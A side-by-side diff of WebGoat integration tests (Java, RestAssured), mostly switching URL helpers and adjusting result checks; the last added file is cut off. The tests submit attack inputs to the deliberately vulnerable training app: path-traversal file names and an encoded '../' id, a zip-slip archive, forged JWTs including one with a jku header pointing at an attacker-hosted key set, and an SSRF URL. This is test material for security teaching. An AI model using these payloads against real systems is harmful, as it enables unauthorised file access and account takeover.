.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(lessonName + ".lesson.lesson")) .get(url(lessonName + ".lesson.lesson"))
.then() .then()
.statusCode(200); .statusCode(200);
@ -119,7 +131,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName))) .get(url("service/restartlesson.mvc"))
.then() .then()
.statusCode(200); .statusCode(200);
} }
@ -155,18 +167,23 @@ public abstract class IntegrationTest {
CoreMatchers.is(expectedResult)); CoreMatchers.is(expectedResult));
} }
public void checkResults(String lesson) { // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
var result = // only required to be in the same package)
public void checkResults(String prefix) {
checkResults();
MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson))) .get(url("service/lessonoverview.mvc"))
.andReturn(); .then()
.statusCode(200)
MatcherAssert.assertThat( .extract()
result.then().statusCode(200).extract().jsonPath().getList("solved"), .jsonPath()
CoreMatchers.everyItem(CoreMatchers.is(true))); .getList("assignment.path"),
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
} }
public void checkResults() { public void checkResults() {
@ -175,7 +192,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.andReturn(); .andReturn();
MatcherAssert.assertThat( MatcherAssert.assertThat(
@ -221,7 +238,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("file-server-location")) .get(webWolfUrl("file-server-location"))
.then() .then()
.extract() .extract()
.response() .response()
@ -236,7 +253,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("server-directory")) .get(url("server-directory"))
.then() .then()
.extract() .extract()
.response() .response()
@ -249,7 +266,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.delete(webWolfUrlConfig.url("mail")) .delete(webWolfUrl("mail"))
.then() .then()
.statusCode(HttpStatus.ACCEPTED.value()); .statusCode(HttpStatus.ACCEPTED.value());
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.ObjectMapper;
@ -17,6 +13,7 @@ import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.io.IOException; import java.io.IOException;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.KeyPair; import java.security.KeyPair;
import java.security.KeyPairGenerator; import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException; import java.security.NoSuchAlgorithmException;
@ -37,7 +34,7 @@ import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest { public class JWTLessonIntegrationTest extends IntegrationTest {
@Test @Test
public void solveAssignment() throws IOException, NoSuchAlgorithmException { public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT"); startLesson("JWT");
decodingToken(); decodingToken();
@ -54,10 +51,11 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
quiz(); quiz();
checkResults("JWT"); checkResults("/JWT/");
} }
private String generateToken(String key) { private String generateToken(String key) {
return Jwts.builder() return Jwts.builder()
.setIssuer("WebGoat Token Builder") .setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org") .setAudience("webgoat.org")
@ -90,7 +88,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user") .formParam("jwt-encode-user", "user")
.post(webGoatUrlConfig.url("JWT/decode")) .post(url("JWT/decode"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -98,14 +96,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
CoreMatchers.is(true)); CoreMatchers.is(true));
} }
private void findPassword() { private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
String accessToken = String accessToken =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/secret/gettoken")) .get(url("JWT/secret/gettoken"))
.then() .then()
.extract() .extract()
.response() .response()
@ -119,7 +117,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret)) .formParam("token", generateToken(secret))
.post(webGoatUrlConfig.url("JWT/secret")) .post(url("JWT/secret"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -133,7 +131,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom")) .get(url("JWT/votings/login?user=Tom"))
.then() .then()
.extract() .extract()
.cookie("access_token"); .cookie("access_token");
@ -166,7 +164,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken) .cookie("access_token", replacedToken)
.post(webGoatUrlConfig.url("JWT/votings")) .post(url("JWT/votings"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -207,7 +205,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken) .header("Authorization", "Bearer " + replacedToken)
.post(webGoatUrlConfig.url("JWT/refresh/checkout")) .post(url("JWT/refresh/checkout"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -240,7 +238,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token)) .post(url("JWT/kid/delete?token=" + token))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -258,7 +256,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes()) .multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrlConfig.url("fileupload")) .post(webWolfUrl("fileupload"))
.then() .then()
.extract() .extract()
.response() .response()
@ -267,9 +265,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
Map<String, Object> header = new HashMap(); Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE); header.put(Header.TYPE, Header.JWT_TYPE);
header.put( header.put(JwsHeader.JWK_SET_URL, webWolfFileUrl("jwks.json"));
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
String token = String token =
Jwts.builder() Jwts.builder()
.setHeader(header) .setHeader(header)
@ -289,7 +285,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token)) .post(url("JWT/jku/delete?token=" + token))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -302,6 +298,6 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
params.put("question_0_solution", "Solution 1"); params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2"); params.put("question_1_solution", "Solution 2");
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true); checkAssignment(url("JWT/quiz"), params, true);
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
@ -21,14 +17,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
@Test @Test
public void testSingleLabel() { public void testSingleLabel() {
Assertions.assertTrue(true); Assertions.assertTrue(true);
JsonPath jsonPath = JsonPath jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc")) .get(url("service/labels.mvc"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -39,14 +35,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR)); jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter // check if lang parameter overrules Accept-Language parameter
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=nl")) .get(url("service/labels.mvc?lang=nl"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -55,14 +51,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
"Gebruikersnaam", "Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR)); jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=de")) .get(url("service/labels.mvc?lang=de"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -72,14 +68,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR)); jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "nl") .header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=xx")) .get(url("service/labels.mvc?lang=xx"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -88,14 +84,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR)); "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY") .header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc")) .get(url("service/labels.mvc"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -155,6 +151,7 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
checkLang(propsDefault, "nl"); checkLang(propsDefault, "nl");
checkLang(propsDefault, "de"); checkLang(propsDefault, "de");
checkLang(propsDefault, "fr"); checkLang(propsDefault, "fr");
checkLang(propsDefault, "ru");
} }
private Properties getProperties(String lang) { private Properties getProperties(String lang) {
@ -200,14 +197,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
} }
private JsonPath getLabels(String lang) { private JsonPath getLabels(String lang) {
return RestAssured.given() return RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", lang) .header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
// .log().headers() // .log().headers()
.get(webGoatUrlConfig.url("service/labels.mvc")) .get(url("service/labels.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200) .statusCode(200)
@ -216,13 +213,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
} }
private List<String> getHints() { private List<String> getHints() {
JsonPath jsonPath = JsonPath jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/hint.mvc")) .get(url("service/hint.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200) .statusCode(200)

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -35,12 +31,12 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
public void assignment2() { public void assignment2() {
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail/reset"), url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"), Map.of("emailReset", this.getUser() + "@webgoat.org"),
false); false);
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail"), url("PasswordReset/simple-mail"),
Map.of( Map.of(
"email", "email",
this.getUser() + "@webgoat.org", this.getUser() + "@webgoat.org",
@ -50,19 +46,19 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
public void assignment4() { public void assignment4() {
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PasswordReset/questions"), url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"), Map.of("username", "tom", "securityQuestion", "purple"),
true); true);
} }
public void assignment5() { public void assignment5() {
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"), url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"), Map.of("question", "What is your favorite animal?"),
false); false);
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"), url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"), Map.of("question", "What is your favorite color?"),
true); true);
} }
@ -75,8 +71,8 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
var link = getPasswordResetLinkFromLandingPage(); var link = getPasswordResetLinkFromLandingPage();
// WebGoat // WebGoat
changePassword(link); changePassword(link);
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PasswordReset/reset/login"), url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true); true);
} }
@ -89,7 +85,7 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail")) .get(webWolfUrl("mail"))
.then() .then()
.extract() .extract()
.response() .response()
@ -103,16 +99,16 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
public void shutdown() { public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete // lesson is marked complete
checkResults("PasswordReset"); checkResults("/PasswordReset");
} }
private void changePassword(String link) { private void changePassword(String link) {
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456") .formParams("resetLink", link, "password", "123456")
.post(webGoatUrlConfig.url("PasswordReset/reset/change-password")) .post(url("PasswordReset/reset/change-password"))
.then() .then()
.statusCode(200); .statusCode(200);
} }
@ -123,7 +119,7 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests")) .get(webWolfUrl("requests"))
.then() .then()
.extract() .extract()
.response() .response()
@ -138,13 +134,13 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
private void clickForgotEmailLink(String user) { private void clickForgotEmailLink(String user) {
RestAssured.given() RestAssured.given()
.when() .when()
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port())) .header(HttpHeaders.HOST, String.format("%s:%s", getWebWolfHost(), getWebWolfPort()))
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user) .formParams("email", user)
.post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link")) .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then() .then()
.statusCode(200); .statusCode(200);
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -52,14 +48,14 @@ class PathTraversalIT extends IntegrationTest {
} }
private void assignment1() throws IOException { private void assignment1() throws IOException {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe") .param("fullName", "../John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload")) .post(url("PathTraversal/profile-upload"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -68,14 +64,14 @@ class PathTraversalIT extends IntegrationTest {
} }
private void assignment2() throws IOException { private void assignment2() throws IOException {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe") .param("fullNameFix", "..././John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix")) .post(url("PathTraversal/profile-upload-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -84,7 +80,7 @@ class PathTraversalIT extends IntegrationTest {
} }
private void assignment3() throws IOException { private void assignment3() throws IOException {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -93,7 +89,7 @@ class PathTraversalIT extends IntegrationTest {
"uploadedFileRemoveUserInput", "uploadedFileRemoveUserInput",
"../test.jpg", "../test.jpg",
Files.readAllBytes(fileToUpload.toPath())) Files.readAllBytes(fileToUpload.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input")) .post(url("PathTraversal/profile-upload-remove-user-input"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -103,18 +99,18 @@ class PathTraversalIT extends IntegrationTest {
private void assignment4() throws IOException { private void assignment4() throws IOException {
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given() RestAssured.given()
.urlEncodingEnabled(false) .urlEncodingEnabled(false)
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(uri)) .get(url(uri))
.then() .then()
.statusCode(200) .statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment( checkAssignment(
webGoatUrlConfig.url("PathTraversal/random"), url("PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())), Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true); true);
} }
@ -131,13 +127,13 @@ class PathTraversalIT extends IntegrationTest {
zos.putNextEntry(e); zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8)); zos.write("test".getBytes(StandardCharsets.UTF_8));
} }
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/zip-slip")) .post(url("PathTraversal/zip-slip"))
.then() .then()
.log() .log()
.all() .all()
@ -151,6 +147,6 @@ class PathTraversalIT extends IntegrationTest {
void shutdown() { void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete // lesson is marked complete
checkResults("PathTraversal"); checkResults("/PathTraversal");
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.response.Response; import io.restassured.response.Response;
@ -28,12 +24,12 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
Callable<Response> call = Callable<Response> call =
() -> { () -> {
// System.out.println("thread "+Thread.currentThread().getName()); // System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given() return RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test")) .formParams(Map.of("flag", "test"))
.post(webGoatUrlConfig.url("challenge/flag/1")); .post(url("challenge/flag"));
}; };
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS); ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = List<? extends Callable<Response>> flagCalls =

View File

@ -1,9 +1,6 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
@ -11,19 +8,19 @@ import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest { public class SSRFIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() { public void runTests() throws IOException {
startLesson("SSRF"); startLesson("SSRF");
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("url", "images/jerry.png"); params.put("url", "images/jerry.png");
checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true); checkAssignment(url("SSRF/task1"), params, true);
params.clear(); params.clear();
params.put("url", "http://ifconfig.pro"); params.put("url", "http://ifconfig.pro");
checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true); checkAssignment(url("SSRF/task2"), params, true);
checkResults("SSRF"); checkResults("/SSRF/");
} }
} }

View File

@ -1,40 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat;
public record ServerUrlConfig(String host, String port, String contextPath) {
public ServerUrlConfig {
contextPath = contextPath.replaceAll("/", "");
}
public String getBaseUrl() {
return "http://%s:%s".formatted(host, port);
}
public String url(String path) {
return "%s/%s".formatted(getFullUrl(), path);
}
private String getFullUrl() {
return "http://%s:%s/%s".formatted(host, port, contextPath);
}
public static ServerUrlConfig webGoat() {
return new ServerUrlConfig(
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
}
public static ServerUrlConfig webWolf() {
return new ServerUrlConfig(
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
}
private static String env(String variableName, String defaultValue) {
return System.getenv().getOrDefault(variableName, "").isEmpty()
? defaultValue
: System.getenv(variableName);
}
}

View File

@ -0,0 +1,45 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source
* ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat;
import java.util.Map;
import org.junit.jupiter.api.Test;
/**
* @author Angel Olle Blazquez
*/
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
